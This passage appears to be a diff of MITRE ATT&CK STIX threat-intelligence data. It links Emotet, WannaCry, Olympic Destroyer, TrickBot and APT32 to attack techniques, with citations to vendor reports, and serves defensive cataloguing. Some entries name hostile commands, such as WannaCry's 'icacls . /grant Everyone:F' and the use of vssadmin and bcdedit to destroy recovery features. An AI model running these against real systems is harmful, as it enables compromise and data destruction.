Destroyer](https://attack.mitre.org/software/S0365) uses WMI to help propagate itself across a network.", + "type": "relationship", + "created": "2019-03-25T15:05:23.719Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e883c7a-3f13-42f6-8cf5-ce373586487e", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:54.106Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) overwrites files locally and on remote shares. ", + "type": "relationship", + "created": "2019-03-25T15:05:23.734Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7767d727-fba8-4b7a-b7fe-137ed9261680", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:54.108Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed using a hard coded list of passwords to brute force user accounts. ", + "type": "relationship", + "created": "2019-03-25T18:35:14.682Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c76bb94-1a6e-4ec6-9faa-2b444d80002c", + "external_references": [ + { + "source_name": "Malwarebytes Emotet Dec 2017", + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + }, + { + "source_name": "Symantec Emotet Jul 2018", + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "source_name": "US-CERT Emotet Jul 2018", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "source_name": "Secureworks Emotet Nov 2018", + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader" + }, + { + "source_name": "CIS Emotet Dec 2018", + "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", + "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/" + } + ], + "modified": "2019-06-28T15:25:29.120Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses an exploit in SMBv1 to spread itself to other remote systems on a network.", + "type": "relationship", + "created": "2019-03-25T19:13:54.931Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e12dc13-6f73-4ad9-9cb5-845d443b4d58", + "external_references": [ + { + "source_name": "LogRhythm WannaCry", + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "US-CERT WannaCry 2017", + "description": "US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-132A" + } + ], + "modified": "2019-04-22T11:43:33.324Z", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "relationship_type": "uses", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses attrib +h and icacls . /grant Everyone:F /T /C /Q to make some of its files hidden and grant all users full access controls.", + "type": "relationship", + "created": "2019-03-25T19:13:54.947Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c49a3d89-c8fa-4c5d-813e-f4495d892d1a", + "external_references": [ + { + "source_name": "LogRhythm WannaCry", + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + } + ], + "modified": "2019-04-22T11:43:33.397Z", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "relationship_type": "uses", + "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been seen exfiltrating system information stored within cookies sent within an HTTP GET request back to its C2 servers.", + "type": "relationship", + "created": "2019-03-25T19:31:02.139Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5201448e-f009-4c24-abb5-9382383dc42d", + "external_references": [ + { + "source_name": "Trend Micro Emotet Jan 2019", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . 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Retrieved March 25, 2019.", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "source_name": "Trend Micro Emotet Jan 2019", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "source_name": "Picus Emotet Dec 2018", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "source_name": "ESET Emotet Dec 2018", + "description": "Perez, D.. (2018, December 28). Analysis of the latest Emotet propagation campaign. Retrieved April 16, 2019.", + "url": "https://www.welivesecurity.com/2018/12/28/analysis-latest-emotet-propagation-campaign/" + } + ], + "modified": "2019-06-28T15:25:29.209Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that retrieves passwords stored on a system for the current logged-on user.", + "type": "relationship", + "created": "2019-03-25T19:31:02.191Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--09c80e35-2839-4b5b-aad8-8f81db8da551", + "external_references": [ + { + "source_name": "US-CERT Emotet Jul 2018", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "source_name": "CIS Emotet Dec 2018", + "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", + "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/" + } + ], + "modified": "2019-06-28T15:25:29.282Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed dropping browser and password grabber modules including [Mimikatz](https://attack.mitre.org/software/S0002).", + "type": "relationship", + "created": "2019-03-25T19:31:02.198Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a0321bbd-edab-4ee6-be37-979015511e4a", + "external_references": [ + { + "source_name": "Trend Micro Emotet Jan 2019", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . 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Retrieved January 17, 2019.", + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/" + }, + { + "source_name": "Talos Emotet Jan 2019", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "source_name": "Trend Micro Emotet Jan 2019", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ], + "modified": "2019-06-28T15:25:29.345Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has used cmd.exe to run a PowerShell script.", + "type": "relationship", + "created": "2019-03-25T19:31:02.237Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee8a0e97-5c23-4e5e-b124-ca75087ae97c", + "external_references": [ + { + "source_name": "Picus Emotet Dec 2018", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + } + ], + "modified": "2019-06-28T15:25:29.351Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to clear the System and Security event logs using wevtutil.", + "type": "relationship", + "created": "2019-03-25T20:04:10.745Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d880164-0891-4721-b393-7e3a3bcc0fd9", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). 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WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + } + ], + "modified": "2019-04-22T11:43:33.401Z", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) scans its local network segment for remote systems to try to exploit and copy itself to.", + "type": "relationship", + "created": "2019-03-26T13:38:24.559Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a116d1c-33ab-4729-abff-2e37dc387f31", + "external_references": [ + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "modified": "2019-04-22T11:43:33.445Z", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) enumerates current remote desktop sessions and tries to execute the malware on each session.", + "type": "relationship", + "created": "2019-03-26T13:38:24.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b22c256-44a9-4b73-8df6-e4da9c32a5a3", + "external_references": [ + { + "source_name": "LogRhythm WannaCry", + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). 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A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "modified": "2019-04-22T11:43:33.394Z", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "relationship_type": "uses", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) creates the service \"mssecsvc2.0\" with the display name \"Microsoft Security Center (2.0) Service.\"", + "type": "relationship", + "created": "2019-03-26T13:38:24.603Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--facd3eca-9156-47a8-85d1-09719bc0eb88", + "external_references": [ + { + "source_name": "LogRhythm WannaCry", + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. 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Retrieved March 26, 2019.", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + } + ], + "modified": "2019-04-24T20:02:45.281Z", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed adding the downloaded payload to the HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key to maintain persistence.", + "type": "relationship", + "created": "2019-03-26T17:48:52.119Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3236ca50-2342-455a-b258-6a085cae8fc2", + "external_references": [ + { + "source_name": "Symantec Emotet Jul 2018", + "description": "Symantec. (2018, July 18). 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Retrieved March 25, 2019.", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + } + ], + "modified": "2019-06-28T15:25:29.465Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed injecting in to Explorer.exe and other processes.", + "type": "relationship", + "created": "2019-03-26T17:48:52.139Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e834920f-bc30-458e-b56e-80947d3a7c6e", + "external_references": [ + { + "source_name": "Picus Emotet Dec 2018", + "description": "\u00d6zarslan, S. (2018, December 21). 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Retrieved March 25, 2019.", + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. 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Retrieved March 25, 2019.", + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/" + } + ], + "modified": "2019-06-28T15:25:29.608Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) leverages the Admin$ share for lateral movement once the local admin password has been brute forced. ", + "type": "relationship", + "created": "2019-03-26T19:23:01.984Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1bc150db-66ca-4361-84a2-2dd0f104790f", + "external_references": [ + { + "source_name": "Malwarebytes Emotet Dec 2017", + "description": "Smith, A.. (2017, December 22). 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Retrieved March 25, 2019.", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + } + ], + "modified": "2019-06-28T15:25:29.620Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) is known to use RSA keys for encrypting C2 traffic.", + "type": "relationship", + "created": "2019-03-26T19:23:02.007Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--095a259d-79c7-42b0-b65a-e423f110d187", + "external_references": [ + { + "source_name": "Trend Micro Emotet Jan 2019", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . 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Retrieved January 17, 2019.", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + }, + { + "source_name": "Symantec Emotet Jul 2018", + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "source_name": "US-CERT Emotet Jul 2018", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "source_name": "Talos Emotet Jan 2019", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "source_name": "Talos Emotet Jan 2019", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "source_name": "Picus Emotet Dec 2018", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + } + ], + "modified": "2019-06-28T15:25:29.858Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing attachments.", + "type": "relationship", + "created": "2019-03-26T19:23:02.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc4f0b64-db39-4546-a5fc-a518ecc5438b", + "external_references": [ + { + "source_name": "CIS Emotet Apr 2017", + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.", + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/" + }, + { + "source_name": "Malwarebytes Emotet Dec 2017", + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + }, + { + "source_name": "Symantec Emotet Jul 2018", + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "source_name": "US-CERT Emotet Jul 2018", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "source_name": "Talos Emotet Jan 2019", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "source_name": "Trend Micro Emotet Jan 2019", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "source_name": "Picus Emotet Dec 2018", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. 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Retrieved March 25, 2019.", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. 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Retrieved March 12, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + } + ], + "modified": "2019-06-24T19:15:06.921Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) has attempted to get users to launch a malicious Excel attachment to deliver its payload.", + "type": "relationship", + "created": "2019-03-28T14:45:51.193Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b55eeb9-c7a1-4ff5-b8ef-f114e3a1b75a", + "external_references": [ + { + "source_name": "TrendMicro Trickbot Feb 2019", + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + } + ], + "modified": "2019-06-24T19:15:06.913Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has relied upon users clicking on a malicious link or attachment delivered through spearphishing.", + "type": "relationship", + "created": "2019-03-29T13:56:52.432Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90b7c9e6-53db-4656-a5ee-f8056a8d6ef7", + "external_references": [ + { + "source_name": "Trend Micro Banking Malware Jan 2019", + "description": "Salvio, J.. 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(2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "modified": "2019-04-19T19:04:56.044Z", + "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "relationship_type": "uses", + "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed encrypting the data it collects before sending it to the C2 server.", + "type": "relationship", + "created": "2019-04-01T15:06:38.851Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--088ed15f-46da-4b32-a182-68553c61f09b", + "external_references": [ + { + "source_name": "Fortinet Emotet May 2017", + "description": "Xiaopeng Zhang. (2017, May 3). Deep Analysis of New Emotet Variant \u2013 Part 1. Retrieved April 1, 2019.", + "url": "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html" + } + ], + "modified": "2019-06-28T15:25:29.614Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) backdoor can use HTTP over an uncommon TCP port (e.g 14146) which is specified in the backdoor configuration.", + "type": "relationship", + "created": "2019-04-01T21:09:50.268Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f1492f41-c3fb-4231-9a18-a90334aa3234", + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. 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Retrieved April 15, 2019.", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "modified": "2019-07-17T13:11:38.727Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor possesses the capability to list files and directories on a machine.\t\n", + "type": "relationship", + "created": "2019-04-01T21:09:50.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a933bad9-0f92-4a25-9b46-19120737caee", + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. 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Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:54.138Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses the native Windows utilities vssadmin, wbadmin, and bcdedit to delete and disable operating system recovery features such as the Windows backup catalog and Windows Automatic Repair.", + "type": "relationship", + "created": "2019-04-02T15:58:12.348Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e4c2c54e-3980-45a4-92cb-c0d99bc0a428", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. 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Retrieved November 6, 2018.", + "url": 